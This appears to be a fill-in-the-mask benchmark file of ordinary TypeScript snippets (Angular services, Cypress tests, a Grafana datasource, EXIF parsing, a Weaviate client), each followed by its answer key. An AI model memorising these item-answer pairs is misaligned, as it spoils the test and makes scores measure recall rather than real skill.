    // 如果不在缓存中，说明是动态生成的路径（如 snow0.png, snow1.png, snow2.png）
    // 使用 getAssetUrl 方法从 IndexedDB 获取资源
    this.getAssetUrl(path)
      .then(assetUrl => {
        // 获取到 URL 后也加入缓存
        assetCache.set(path, assetUrl);
        url.value = assetUrl;
      })
      .catch(error => {
        console.error(`加载资源失败: ${path}`, error);
      });

    return url;
  }

  // 清理函数 - 在应用退出时调用
  clearAssets() {
    assetCache.forEach(url => {
      URL.revokeObjectURL(url);
    });
    assetCache.clear();
  }

  // 获取所有图片资源的路径
  getImagePaths(): string[] {
    const imagePaths: string[] = [];

    // 添加 sprite 和 cg 类型的资源
    ['sprite', 'cg'].forEach(type => {
      ASSET_LIST[type as keyof typeof ASSET_LIST].forEach(file => {
        imagePaths.push(`${type}/${file}`);
      });
    });

    return imagePaths;
  }

  // 预加载所有图片
  async preloadAllImages(onProgress?: (current: number, total: number) => void): Promise<void> {
    const imagePaths = this.getImagePaths();
    let loadedCount = 0;
    const total = imagePaths.length;

    const promises = imagePaths.map(path => {
      return new Promise<void>((resolve,  [MASK] ) => {
        this.getAssetUrl(path)
          .then(url => {
            // 同时存入 assetCache，这样 useAsset 可以直接使用
            assetCache.set(path, url);
            this.addImageUrl(url);
            loadedCount++;
            onProgress?.(loadedCount, total);
            resolve();
          })
          .catch( [MASK] );
      });
    });

    await Promise.all(promises);
  }

  // 获取所有需要预加载的图片URL
  getPreloadImageUrls(): string[] {
    return this.imageUrls;
  }

  // 添加需要预加载的图片URL
  addImageUrl(url: string) {
    if (!this.imageUrls.includes(url)) {
      this.imageUrls.push(url);
    }
  }
}

export const assetManager = new AssetManager(); ",reject
57,"import { Injectable } from '@angular/core';
import { Http, Headers, RequestOptions, Response } from '@angular/http';

import 'rxjs/add/operator/toPromise';
import {Observable} from 'rxjs/Rx';
import 'rxjs/add/operator/map';
import 'rxjs/add/operator/catch';

import { IRemind } from './remind.model';

@Injectable()
export class RemindService {
    //private apiUrl = 'http://localhost:8080/reminders';
    //private apiUrl = 'http://192.168.0.14:8080/reminders';
    private apiUrl = 'http://192.168.127.12:5555/reminders';

    constructor(private http: Http) {}

    getReminds(): Promise<IRemind[]> {
        var apiUrl1: string = 'api/remind';
        return this.http.get(this.apiUrl)
                    .toPromise()
                    .then(res =>  res.json())
                    .catch(this.handleError);
    }

    addRemind(remind: IRemind): Promise<IRemind> {
        return this.post(remind);
    }

    saveRemind(remind: IRemind): Promise<IRemind> {
        return this.post(remind);
    }

    deleteRemind(remind: IRemind): Promise<IRemind> {
        return this.delete(remind);
    }

    private post(remind: IRemind): Promise<IRemind> {
        let promise: Promise<IRemind>;
        let body = JSON.stringify(remind);
        console.log(""post-"" + remind.remindDate);
        console.log(<IRemind> remind);
        let headers = new Headers({ 'Content-Type': 'application/json' });
        let options = new RequestOptions({ headers });
        promise = this.http.post(this.apiUrl, body, options)
                        .toPromise()
                        .then(res => res.json().data)
                        .catch(this.handleError);
        console.log(promise.then(res => console.log(res )));
        return promise;
    }

    private put(remind: IRemind): Promise<IRemind> {
        let body = JSON.stringify(remind);
        let headers = new Headers({ 'Content-Type': 'application/json' });
        let options = new RequestOptions({ headers });

        let url = `${this.apiUrl}/${remind.id}`;

        return this.http.put(url, body, options)
                        .toPromise()
                        .then(res => remind)
                        .catch(this.handleError);
    }

    private delete(remind: IRemind): Promise<IRemind> {
        let headers = new Headers({ 'Content-Type': 'application/json' });
        let options = new RequestOptions({ headers });

        let url = `${this.apiUrl}/${remind.id}`;

        return this.http.post(url, options)
                        .toPromise()
                        .then(res => remind)
                        .catch(this.handleError);
    }

private handleError( [MASK] : any): Promise<any> {
        console.log('Произошла ошибка',  [MASK] );
         return Promise.reject( [MASK] .message ||  [MASK] );
    }
}",error
58,"import { Transaction } from '@mysten/sui/transactions'
import { fullFunctionName } from '~~/helpers/network'

export const prepareCreateGreetingTransaction = (
  packageId: string
): Transaction => {
  const tx = new Transaction()
  tx.moveCall({
    arguments: [],
    target: fullFunctionName(packageId, 'create'),
  })

  return tx
}

export const prepareSetGreetingTransaction = (
  packageId: string,
  objectId: string,
   [MASK] : string
): Transaction => {
  const tx = new Transaction()
  tx.moveCall({
    arguments: [tx.object(objectId), tx.pure.string( [MASK] ), tx.object('0x8')],
    target: fullFunctionName(packageId, 'set_greeting'),
  })

  return tx
}

export const prepareResetGreetingTransaction = (
  packageId: string,
  objectId: string
): Transaction => {
  const tx = new Transaction()
  tx.moveCall({
    arguments: [tx.object(objectId)],
    target: fullFunctionName(packageId, 'reset_greeting'),
  })

  return tx
}
",name
59,"import {fetchWithAuth} from ""./fetchWithAuth"";
import type {AdventureCreateDto, AdventureDto, AdventurePatchDto} from ""../types/adventure"";

export const AdventureService = {
    async list(): Promise<AdventureDto[]> {
        const res = await fetchWithAuth(""/api/adventures"");
        if (!res.ok) throw new Error(""Ошибка загрузки приключений"");
        return res.json();
    },
    async get(id: string): Promise<AdventureDto> {
        const res = await fetchWithAuth(`/api/adventures/${id}`);
        if (!res.ok) throw new Error(""Приключение не найдено"");
        return res.json();
    },
    async create(data: AdventureCreateDto): Promise<AdventureDto> {
        const res = await fetchWithAuth(""/api/adventures"", {
            method: ""POST"",
            headers: { ""Content-Type"": ""application/json"" },
            body: JSON.stringify(data),
        });
        if (!res.ok) throw new Error(""Ошибка создания приключения"");
        return res.json();
    },
    async patch(id: string, data: AdventurePatchDto): Promise<AdventureDto> {
        const res = await fetchWithAuth(`/api/adventures/${id}`, {
            method: ""PATCH"",
            headers: { ""Content-Type"": ""application/json"" },
            body: JSON.stringify(data),
        });
        if (!res.ok) throw new Error(""Ошибка обновления приключения"");
        return res.json();
    },

    async remove(id: string): Promise<void> {
        const res = await fetchWithAuth(`/api/adventures/${id}`, { method: ""DELETE"" });
        if (!res.ok) throw new Error(""Ошибка удаления приключения"");
    },

    async uploadCover(adventureId: string, file: File): Promise<string> {
        const  [MASK]  = new FormData();
         [MASK] .append(""file"", file);
        const res = await fetchWithAuth(`/api/adventures/${adventureId}/cover`, {
            method: ""POST"",
            body:  [MASK] ,
        });
        if (!res.ok) throw new Error(""Ошибка загрузки обложки"");
        // Предположим, что backend возвращает { coverUrl: ""..."" }
        const data = await res.json();
        return data.coverUrl;
    }
};
",formData
60,"import { Component, OnInit } from '@angular/core';
import { Email } from './email';
import { MessageService } from 'primeng/api';
import { CriarChatService } from './criar-chat.service';

@Component({
  selector: 'app-criar-chat',
  templateUrl: './criar-chat.component.html',
  styleUrls: ['./criar-chat.component.css'],
  providers: [MessageService]
})
export class CriarChatComponent implements OnInit {

  private urlCriarChat: string = 'https://back-end-pessoas.herokuapp.com/chat'
  id: string
  idChat: string = ''
  rem: string
  dest: string

  private urlCriarListarMensage: string = 'https://back-end-pessoas.herokuapp.com/chat?id=?1&idChat=?2&rem=?3&dest=?4'
  private urlEnviarMensagem: string = 'https://back-end-pessoas.herokuapp.com/mensagem'

  contato: {}

  email: Email = {
    email_remetente: '',
    email_destinatario: '',
    mensagem: ''
  }

  chat: {}

  listaMensagens: Array<any> = []

  constructor(private messageService: MessageService, private criarChatService: CriarChatService) {}

  showSuccess() {
    this.messageService.add({key: 'tl', severity:'success', summary: 'Status da requisição: ', detail:'O chat foi criado!'});
  }

  showError() {
    this.messageService.add({key: 'tl', severity:'error', summary: 'Status da requisição: ', detail:'Erro ao criar o chat, verifique os campos!'});
  }

  showSuccessSend() {
    this.messageService.add({key: 'tl', severity:'success', summary: 'Status da requisição: ', detail:'A mensagem foi enviada!'});
  }

  showErrorSend() {
    this.messageService.add({key: 'tl', severity:'error', summary: 'Status da requisição: ', detail:'Erro ao enviar a mensagem!'});
  }

  criarUmChat = () => {
    this.criarChatService.criarChat(this.urlCriarChat.toString(), this.email).subscribe(
      resposta => {
        this.chat = resposta
        if (this.chat != {}) {
          this.idChat = resposta['idChat']
          this.showSuccess()
        }
      },
      erro => {
        if (erro.status == 500) {
          this.showError()
        }
      }
    )    
  }

  enviarUmaMensagem = () => {
    this.criarChatService.enviarMensagem(this.urlEnviarMensagem.toString(), this.email).subscribe(
      resposta => {
        if (resposta['mensagem'] != null) {
          this.showSuccessSend()
        }
      },
      erro => {
        if (erro.status == 400 || erro.status == 500) {
          this.showErrorSend
        }
      }    
    )
  }

  listarMensagens = () => {
    var  [MASK]  = this.urlCriarListarMensage.replace('?1', this.id);
    var url2 =  [MASK] .replace('?2', this.idChat);
    var url3 = url2.replace('?3', this.rem);
    var urlFinal = url3.replace('?4', this.dest);
    
    this.criarChatService.listarMensagens(urlFinal.toString()).subscribe(
      resposta => {
        this.listaMensagens = []
        this.listaMensagens = resposta['mensagems']
        
        this.listaMensagens.forEach(mensagem => {
          console.log('Mensagem: ', mensagem)
        });

      }
    )

  }

  ngOnInit() {
    this.contato = history.state
    this.email.email_destinatario = this.contato['email']
  }

}
",url1
61,"/*
Copyright 2022 The Matrix.org Foundation C.I.C.

Licensed under the Apache License, Version 2.0 (the ""License"");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an ""AS IS"" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

/// <reference types=""cypress"" />

import { HomeserverInstance } from ""../../plugins/utils/homeserver"";
import { SettingLevel } from ""../../../src/settings/SettingLevel"";

describe(""Composer"", () => {
    let homeserver: HomeserverInstance;

    beforeEach(() => {
        cy.startHomeserver(""default"").then(( [MASK] ) => {
            homeserver =  [MASK] ;
        });
    });

    afterEach(() => {
        cy.stopHomeserver(homeserver);
    });

    describe(""CIDER"", () => {
        beforeEach(() => {
            cy.initTestUser(homeserver, ""Janet"").then(() => {
                cy.createRoom({ name: ""Composing Room"" });
            });
            cy.viewRoomByName(""Composing Room"");
        });

        it(""sends a message when you click send or press Enter"", () => {
            // Type a message
            cy.findByRole(""textbox"", { name: ""Send a message…"" }).type(""my message 0"");
            // It has not been sent yet
            cy.contains("".mx_EventTile_body"", ""my message 0"").should(""not.exist"");

            // Click send
            cy.findByRole(""button"", { name: ""Send message"" }).click();
            // It has been sent
            cy.get("".mx_EventTile_last .mx_EventTile_body"").within(() => {
                cy.findByText(""my message 0"").should(""exist"");
            });

            // Type another and press Enter afterwards
            cy.findByRole(""textbox"", { name: ""Send a message…"" }).type(""my message 1{enter}"");
            // It was sent
            cy.get("".mx_EventTile_last .mx_EventTile_body"").within(() => {
                cy.findByText(""my message 1"").should(""exist"");
            });
        });

        it(""can write formatted text"", () => {
            cy.findByRole(""textbox"", { name: ""Send a message…"" }).type(""my bold{ctrl+b} message"");
            cy.findByRole(""button"", { name: ""Send message"" }).click();
            // Note: both ""bold"" and ""message"" are bold, which is probably surprising
            cy.get("".mx_EventTile_body strong"").within(() => {
                cy.findByText(""bold message"").should(""exist"");
            });
        });

        it(""should allow user to input emoji via graphical picker"", () => {
            cy.getComposer(false).within(() => {
                cy.findByRole(""button"", { name: ""Emoji"" }).click();
            });

            cy.findByTestId(""mx_EmojiPicker"").within(() => {
                cy.contains("".mx_EmojiPicker_item"", ""😇"").click();
            });

            cy.get("".mx_ContextualMenu_background"").click(); // Close emoji picker
            cy.findByRole(""textbox"", { name: ""Send a message…"" }).type(""{enter}""); // Send message

            cy.get("".mx_EventTile_body"").within(() => {
                cy.findByText(""😇"");
            });
        });

        describe(""when Ctrl+Enter is required to send"", () => {
            beforeEach(() => {
                cy.setSettingValue(""MessageComposerInput.ctrlEnterToSend"", null, SettingLevel.ACCOUNT, true);
            });

            it(""only sends when you press Ctrl+Enter"", () => {
                // Type a message and press Enter
                cy.findByRole(""textbox"", { name: ""Send a message…"" }).type(""my message 3{enter}"");
                // It has not been sent yet
                cy.contains("".mx_EventTile_body"", ""my message 3"").should(""not.exist"");

                // Press Ctrl+Enter
                cy.findByRole(""textbox"", { name: ""Send a message…"" }).type(""{ctrl+enter}"");
                // It was sent
                cy.get("".mx_EventTile_last .mx_EventTile_body"").within(() => {
                    cy.findByText(""my message 3"").should(""exist"");
                });
            });
        });
    });

    describe(""Rich text editor"", () => {
        beforeEach(() => {
            cy.enableLabsFeature(""feature_wysiwyg_composer"");
            cy.initTestUser(homeserver, ""Janet"").then(() => {
                cy.createRoom({ name: ""Composing Room"" });
            });
            cy.viewRoomByName(""Composing Room"");
        });

        it(""sends a message when you click send or press Enter"", () => {
            // Type a message
            cy.get(""div[contenteditable=true]"").type(""my message 0"");
            // It has not been sent yet
            cy.contains("".mx_EventTile_body"", ""my message 0"").should(""not.exist"");

            // Click send
            cy.findByRole(""button"", { name: ""Send message"" }).click();
            // It has been sent
            cy.get("".mx_EventTile_last .mx_EventTile_body"").within(() => {
                cy.findByText(""my message 0"").should(""exist"");
            });

            // Type another
            cy.get(""div[contenteditable=true]"").type(""my message 1"");
            // Send message
            cy.get(""div[contenteditable=true]"").type(""{enter}"");
            // It was sent
            cy.get("".mx_EventTile_last .mx_EventTile_body"").within(() => {
                cy.findByText(""my message 1"").should(""exist"");
            });
        });

        it(""sends only one message when you press Enter multiple times"", () => {
            // Type a message
            cy.get(""div[contenteditable=true]"").type(""my message 0"");
            // It has not been sent yet
            cy.contains("".mx_EventTile_body"", ""my message 0"").should(""not.exist"");

            // Click send
            cy.get(""div[contenteditable=true]"").type(""{enter}"");
            cy.get(""div[contenteditable=true]"").type(""{enter}"");
            cy.get(""div[contenteditable=true]"").type(""{enter}"");
            // It has been sent
            cy.get("".mx_EventTile_last .mx_EventTile_body"").within(() => {
                cy.findByText(""my message 0"").should(""exist"");
            });
            cy.get("".mx_EventTile_last .mx_EventTile_body"").should(""have.length"", 1);
        });

        it(""can write formatted text"", () => {
            cy.get(""div[contenteditable=true]"").type(""my {ctrl+b}bold{ctrl+b} message"");
            cy.findByRole(""button"", { name: ""Send message"" }).click();
            cy.get("".mx_EventTile_body strong"").within(() => {
                cy.findByText(""bold"").should(""exist"");
            });
        });

        describe(""when Ctrl+Enter is required to send"", () => {
            beforeEach(() => {
                cy.setSettingValue(""MessageComposerInput.ctrlEnterToSend"", null, SettingLevel.ACCOUNT, true);
            });

            it(""only sends when you press Ctrl+Enter"", () => {
                // Type a message and press Enter
                cy.get(""div[contenteditable=true]"").type(""my message 3"");
                cy.get(""div[contenteditable=true]"").type(""{enter}"");
                // It has not been sent yet
                cy.contains("".mx_EventTile_body"", ""my message 3"").should(""not.exist"");

                // Press Ctrl+Enter
                cy.get(""div[contenteditable=true]"").type(""{ctrl+enter}"");
                // It was sent
                cy.get("".mx_EventTile_last .mx_EventTile_body"").within(() => {
                    cy.findByText(""my message 3"").should(""exist"");
                });
            });
        });

        describe(""links"", () => {
            it(""create link with a forward selection"", () => {
                // Type a message
                cy.get(""div[contenteditable=true]"").type(""my message 0{selectAll}"");

                // Open link modal
                cy.findByRole(""button"", { name: ""Link"" }).click();
                // Fill the link field
                cy.findByRole(""textbox"", { name: ""Link"" }).type(""https://matrix.org/"");
                // Click on save
                cy.findByRole(""button"", { name: ""Save"" }).click();
                // Send the message
                cy.findByRole(""button"", { name: ""Send message"" }).click();

                // It was sent
                cy.get("".mx_EventTile_body a"").within(() => {
                    cy.findByText(""my message 0"").should(""exist"");
                });
                cy.get("".mx_EventTile_body a"").should(""have.attr"", ""href"").and(""include"", ""https://matrix.org/"");
            });
        });
    });
});
",data
62,"import defaults from 'lodash/defaults';

import {
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  AnnotationEvent,
  AnnotationQueryRequest,
  DataQueryError,
} from '@grafana/data';

import { getBackendSrv } from '@grafana/runtime';

import { ConprofQuery, ConprofOptions, defaultQuery, ConprofDataQueryResponse, Series } from './types';

export class DataSource extends DataSourceApi<ConprofQuery, ConprofOptions> {
  url: string;

  constructor(instanceSettings: DataSourceInstanceSettings<ConprofOptions>) {
    super(instanceSettings);
    this.url = instanceSettings.url!;
  }

  _request(url: string, data: Record<string, string> = {}) {
    const options = {
      url: this.url + url,
      method: 'GET',
    };

    if (data && Object.keys(data).length) {
      options.url =
        options.url +
        '?' +
        Object.entries(data)
          .map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
          .join('&');
    }

    return getBackendSrv().datasourceRequest(options);
  }

  handleErrors = (err: any, target: ConprofQuery) => {
    const error: DataQueryError = {
      message: (err && err.statusText) || 'Unknown error during query transaction. Please check JS console logs.',
      refId: target.refId,
    };

    if (err.data) {
      if (typeof err.data === 'string') {
        error.message = err.data;
      } else if (err.data.error) {
        error.message = this.safeStringifyValue(err.data.error);
      }
    } else if (err.message) {
      error.message = err.message;
    } else if (typeof err === 'string') {
      error.message = err;
    }

    error.status = err.status;
    error.statusText = err.statusText;

    return error;
  };

  safeStringifyValue = (value: any,  [MASK] ?: number) => {
    if (!value) {
      return '';
    }

    try {
      return JSON.stringify(value, null,  [MASK] );
    } catch (error) {
      console.error(error);
    }

    return '';
  };

  performTimeSeriesQuery(query: ConprofQuery) {
    if (query.start > query.end) {
      throw { message: 'Invalid time range' };
    }

    const url = '/api/v1/query_range';
    const data: any = {
      query: query.expr,
      from: query.start,
      to: query.end,
    };

    return this._request(url, data).catch((err: any) => {
      throw this.handleErrors(err, query);
    });
  }

  async query(options: DataQueryRequest<ConprofQuery>): Promise<DataQueryResponse> {
    return Promise.resolve({ data: [] });
  }

  async annotationQuery(options: AnnotationQueryRequest<ConprofQuery>): Promise<AnnotationEvent[]> {
    const annotation = options.annotation;
    const { expr = '' } = annotation;

    if (!expr) {
      return Promise.resolve([]);
    }

    const query = defaults(options.annotation, defaultQuery);
    query.start = options.range.from.valueOf();
    query.end = options.range.to.valueOf();
    const res: any = await this.performTimeSeriesQuery(query);
    const response: ConprofDataQueryResponse = res.data;

    let events: AnnotationEvent[] = [];

    response.data.map((series: Series) => {
      let tags: string[] = [];
      for (let key in series.labels) {
        tags.push(`${key}:${series.labels[key]}`);
      }
      series.timestamps.forEach((timestamp: number) => {
        const labels = `{${Object.entries(series.labels)
          .map(([labelName, labelValue]) => `${labelName}=""${labelValue}""`)
          .join(',')}}`;
        const encodedLabels = btoa(labels);

        // TODO(yeya24): support more APIs when ready
        // const flameGraphURL = `${this.defaultUrl}/api/v1/query?report=flamegraph&time=${timestamp}&query=${query.expr}`;
        // const topURL = `${this.defaultUrl}/api/v1/query?report=top&time=${timestamp}&query=${query.expr}`;
        events.push({
          title: `${series.labels['__name__']}`,
          time: timestamp,
          text: `<div>
    <a target=""_blank"" href=""${this.url}/pprof/${encodedLabels}/${timestamp}/"">pprof UI</a>
    <a target=""_blank"" href=""${this.url}/download/${encodedLabels}/${timestamp}/"">profile Download</a>
</div>
`,
          tags: tags,
        });
      });
    });

    return events;
  }

  // Implement a health check for your data source.
  async testDatasource() {
    const result = await this._request('/-/ready');
    if (!result) {
      return { status: 'error', message: 'Cannot connect to Data source' };
    }

    return result.status === 200
      ? { status: 'success', message: 'Data source is working' }
      : { status: 'error', message: result.error };
  }
}
",space
63,"import { TreeImage, GpsCoordinate } from './types';
import ExifReader from 'exifreader';

// Result types for ROP
type Result<T, E> = Success<T> | Failure<E>;
type Success<T> = { success: true; data: T };
type Failure<E> = { success: false; error: E };

// Collection result for handling multiple operations
type CollectionResult<T, E> = {
  successes: T[];
  failures: E[];
};

interface GpsResolutionError {
  type: 'gps_extraction';
  imageName: string;
  message: string;
}

interface DiameterCalculationError {
  type: 'diameter_calculation';
  message: string;
}

// Union type for all possible image processing errors
type ImageProcessingError =
  | GpsResolutionError
  | DiameterCalculationError;


function extractGpsFromImage(contents: Buffer,  [MASK] : string): Result<GpsCoordinate, GpsResolutionError> {
  try {
    // Parse EXIF data from the image buffer
    const tags = ExifReader.load(contents);

    // Check if GPS data exists
    if (!tags.GPSLatitude || !tags.GPSLongitude) {
      return failure({
        type: 'gps_extraction',
        imageName:  [MASK] ,
        message: 'No GPS coordinates found in image EXIF data'
      });
    }

    // Extract latitude
    let latitude: number;
    if (typeof tags.GPSLatitude.description === 'number') {
      latitude = tags.GPSLatitude.description;
    } else if (typeof tags.GPSLatitude.description === 'string') {
      latitude = parseFloat(tags.GPSLatitude.description);
    } else {
      return failure({
        type: 'gps_extraction',
        imageName:  [MASK] ,
        message: 'Invalid GPS latitude format in EXIF data'
      });
    }

    // Extract longitude
    let longitude: number;
    if (typeof tags.GPSLongitude.description === 'number') {
      longitude = tags.GPSLongitude.description;
    } else if (typeof tags.GPSLongitude.description === 'string') {
      longitude = parseFloat(tags.GPSLongitude.description);
    } else {
      return failure({
        type: 'gps_extraction',
        imageName:  [MASK] ,
        message: 'Invalid GPS longitude format in EXIF data'
      });
    }

    // Handle GPS direction references (N/S for latitude, E/W for longitude)
    if (tags.GPSLatitudeRef && (tags.GPSLatitudeRef.description === 'S' || tags.GPSLatitudeRef.description === 'South latitude')) {
      latitude = -latitude;
    }

    if (tags.GPSLongitudeRef && (tags.GPSLongitudeRef.description === 'W' || tags.GPSLongitudeRef.description === 'West longitude')) {
      longitude = -longitude;
    }

    // Validate coordinates are within valid ranges
    if (latitude < -90 || latitude > 90) {
      return failure({
        type: 'gps_extraction',
        imageName:  [MASK] ,
        message: `Invalid latitude value: ${latitude}. Must be between -90 and 90.`
      });
    }

    if (longitude < -180 || longitude > 180) {
      return failure({
        type: 'gps_extraction',
        imageName:  [MASK] ,
        message: `Invalid longitude value: ${longitude}. Must be between -180 and 180.`
      });
    }

    console.log(`Extracted GPS coordinates from image: ${ [MASK] } - Latitude: ${latitude}, Longitude: ${longitude}`);
    return success({
      latitude,
      longitude
    });

  } catch (error) {
    const errorMessage = error instanceof Error ? error.message : 'Unknown error';
    return failure({
      type: 'gps_extraction',
      imageName:  [MASK] ,
      message: `Failed to parse EXIF data: ${errorMessage}`
    });
  }
}

async function calculateDiameter(
  subject: string,
  body: string,
  env: { AI: any }
): Promise<Result<number, DiameterCalculationError>> {
  try {
    // Create a prompt to extract diameter information from email content
    const prompt = `
You are analyzing an email about tree measurements. Extract the diameter measurement for trees mentioned in the email.

Email Subject: ${subject}
Email Body: ${body}

Please extract the diameter measurement in inches. Look for:
- Explicit diameter measurements (e.g., ""12 inch diameter"", ""diameter: 10 inches"", ""30cm diameter"")
- DBH (Diameter at Breast Height) measurements
- Circumference measurements that can be converted to diameter
- Any numerical values followed by units that could indicate tree diameter

If you find measurements in other units, convert them to inches:
- Centimeters to inches: divide by 2.54
- Feet to inches: multiply by 12
- If you find a circumference measurement, convert it to diameter using: diameter = circumference / π

Return only the numeric value in inches as a number. If no diameter information is found, return ""NOT_FOUND"".

Examples:
- ""Tree diameter is 12 inches"" → 12
- ""DBH: 10 inches"" → 10
- ""diameter: 30cm"" → 11.8 (30 ÷ 2.54)
- ""Circumference 37.7 inches"" → 12 (37.7 ÷ π)
- ""2 foot diameter"" → 24 (2 × 12)
- ""No measurements provided"" → NOT_FOUND
`;

    const response = await env.AI.run(""@cf/meta/llama-3.1-8b-instruct"", {
      prompt: prompt,
    });

    console.log(`AI response for diameter extraction:`, response);

    // Parse the AI response
    let responseText: string;
    if (typeof response === 'string') {
      responseText = response;
    } else if (response && typeof response === 'object' && 'response' in response) {
      responseText = response.response;
    } else {
      return failure({
        type: 'diameter_calculation',
        message: 'Unexpected AI response format'
      });
    }

    responseText = responseText.trim();

    if (responseText === 'NOT_FOUND') {
      return failure({
        type: 'diameter_calculation',
        message: 'No diameter measurement found in email content'
      });
    }

    // Try to parse the numeric value
    const diameterValue = parseFloat(responseText);

    if (isNaN(diameterValue) || diameterValue <= 0) {
      return failure({
        type: 'diameter_calculation',
        message: `Invalid diameter value extracted: ""${responseText}""`
      });
    }

    // Validate reasonable diameter range (0.5 inches to 400 inches)
    if (diameterValue < 0.5 || diameterValue > 400) {
      return failure({
        type: 'diameter_calculation',
        message: `Diameter value ${diameterValue} inches is outside reasonable range (0.5-400 inches)`
      });
    }

    console.log(`Successfully extracted diameter from email: ${diameterValue} inches`);
    return success(diameterValue);

  } catch (error) {
    const errorMessage = error instanceof Error ? error.message : 'Unknown error';
    return failure({
      type: 'diameter_calculation',
      message: `Failed to calculate diameter using AI: ${errorMessage}`
    });
  }
}

// Helper functions for Result type
function success<T>(data: T): Success<T> {
  return { success: true, data };
}

function failure<E>(error: E): Failure<E> {
  return { success: false, error };
}

// Export everything
export type {
  Result,
  Success,
  Failure,
  CollectionResult,
  GpsResolutionError,
  DiameterCalculationError,
  ImageProcessingError,
};

export {
  extractGpsFromImage,
  calculateDiameter,
};
",name
64,"export enum FieldMaskType {
	Exclude = 'exclude',
	Include = 'include',
}

export type FieldMaskConvertible = Iterable<string>
                                 | Record<string, any>
                                 | FieldMask;

export class FieldMask {
	private _entries: Set<string> = new Set;

	constructor(public type = FieldMaskType.Include) {
	}

	static exclude(excluded: Iterable<string>): FieldMask {
		const mask = new FieldMask(FieldMaskType.Exclude);
		mask.add(...excluded);
		return mask;
	}

	static include(included: Iterable<string>): FieldMask {
		const mask = new FieldMask(FieldMaskType.Include);
		mask.add(...included);
		return mask;
	}

	static from(from: FieldMaskConvertible): FieldMask {
		if (from instanceof FieldMask) {
			return from;
		} else if (Array.isArray(from)) {
			return FieldMask.include(from);
		} else {
			let maskType = undefined;
			for (const v of Object.values(from)) {
				if (maskType === undefined) {
					maskType = v ? FieldMaskType.Include : FieldMaskType.Exclude;
				} else if ((maskType === FieldMaskType.Exclude && v !== 0) ||
				           (maskType === FieldMaskType.Include && v !== 1)) {
					throw new Error('Invalid field mask object');
				}
			}
			maskType = maskType || FieldMaskType.Exclude;
			const mask = new FieldMask(maskType);
			mask.add(...Object.keys(from));
			return mask;
		}
	}

	add(...fields: string[]): void {
		fields.forEach(f => this._entries.add(f));
	}

	get(): Record<string, 0 | 1> {
		const result = {} as Record<string, 0 | 1>;
		this._entries.forEach(f => {
			switch (this.type) {
			case FieldMaskType.Exclude: result[f] = 0; break;
			case FieldMaskType.Include: result[f] = 1; break;
			}
		});
		return result;
	}

	includes(field: string): boolean {
		switch (this.type) {
			case FieldMaskType.Exclude:
				return !this._entries.has(field);
			case FieldMaskType.Include:
				return this._entries.has(field);
		}
	}

	excludes(field: string): boolean {
		switch (this.type) {
			case FieldMaskType.Exclude:
				return this._entries.has(field);
			case FieldMaskType.Include:
				return !this._entries.has(field);
		}
	}

	equals(other: FieldMaskConvertible): boolean {
		const otherMask = FieldMask.from(other);
		if (this.type !== otherMask.type) return false;
		for (const field of this._entries) {
			if (!otherMask._entries.has(field))
				return false;
		}
		for (const field of otherMask._entries) {
			if (!this._entries.has(field))
				return false;
		}
		return true;
	}

	negate(): FieldMask {
		switch (this.type) {
			case FieldMaskType.Exclude:
				return FieldMask.include(this._entries);
			case FieldMaskType.Include:
				return FieldMask.exclude(this._entries);
		}
	}

	join(otherFrom: FieldMaskConvertible): FieldMask {
		const entries = [...this._entries];
		const other = FieldMask.from(otherFrom);
		switch (this.type) {
			case FieldMaskType.Exclude:
				return FieldMask.exclude(entries.filter(f => !other.includes(f)));
			case FieldMaskType.Include:
				const includeMask = FieldMask.include(entries);
				if (other.type === FieldMaskType.Include)
					includeMask.add(...other._entries);
				return includeMask;
		}
	}

	intersect(otherFrom: FieldMaskConvertible): FieldMask {
		const entries = [...this._entries];
		const other = FieldMask.from(otherFrom);
		switch (this.type) {
			case FieldMaskType.Exclude:
				const  [MASK]  = FieldMask.exclude(entries);
				if (other.type === FieldMaskType.Exclude)
					 [MASK] .add(...other._entries);
				return  [MASK] ;
			case FieldMaskType.Include:
				return FieldMask.include(entries.filter(f => other.includes(f)));
		}
	}

	apply<T extends Record<string, any>>(o: T): Record<string, any> {
		const result: Record<string, any> = {};
		switch (this.type) {
			case FieldMaskType.Exclude:
				for (const [k, v] of Object.entries(o)) {
					if (!this._entries.has(k))
						result[k] = v;
				}
				break;
			case FieldMaskType.Include:
				for (const [k, v] of Object.entries(o)) {
					if (this._entries.has(k))
						result[k] = v;
				}
				break;
		}
		return result;
	}
}",excludeMask
65,"import weaviate, { WeaviateClient, generateUuid5 } from 'weaviate-ts-client';

// @ts-ignore - let me be happy
export const client: WeaviateClient = weaviate.client({
    scheme: 'http',
    host: 'localhost:8080',
});

export async function addImage({ image, description }: { image: Blob, description: string }) {
    const res = await client.data.creator().withClassName(""Image"").withProperties({ image, description }).withId(generateUuid5(image.toString())).do();
    return res
}

export async function addGenerationBatch( [MASK] : {
    image: Blob, description: string, url: string
}[], { generation, baseImageId }: { generation?: number, baseImageId: string }) {
    // Create batch
    let batcher = client.batch.objectsBatcher();

    for (const dataObj of  [MASK] ) {
        const obj = client.data.creator()
            .withClassName(""GeneratedImage"")
            .withProperties({ image: dataObj.image, description: dataObj.description, generation, url: dataObj.url })
            .withId(generateUuid5(dataObj.image.toString()))
            .payload()
        const ref = client.data
            .referenceCreator()
            .withClassName('GeneratedImage')
            .withId(generateUuid5(dataObj.image.toString()))
            .withReferenceProperty('baseImage')
            .withReference(
                client.data
                    .referencePayloadBuilder()
                    .withClassName('Image')
                    .withId(baseImageId)
                    .payload()
            ).payload()
        batcher = batcher.withObjects(obj, ref)
    }
    // Flush
    return batcher.do();
}

export async function getRankedImages(id: string) {
    const originalVec = await client.data
        .getterById()
        .withClassName('Image')
        .withId(id)
        .withVector()
        .do();
    const res = await client.graphql
        .get()
        .withNearVector({
            // @ts-ignore - typings
            vector: originalVec?.vector,
        })
        .withClassName('GeneratedImage')
        .withFields('description generation url _additional  { certainty distance }')
        .do();

    return res
}

// UNCOMMENT BELOW:
// (async () => {
//     console.info(""Creating classes"")

//     await client.schema.classCreator().withClass({
//         ""class"": ""Image"",
//         ""vectorizer"": ""multi2vec-clip"",
//         ""moduleConfig"": {
//             ""multi2vec-clip"": {
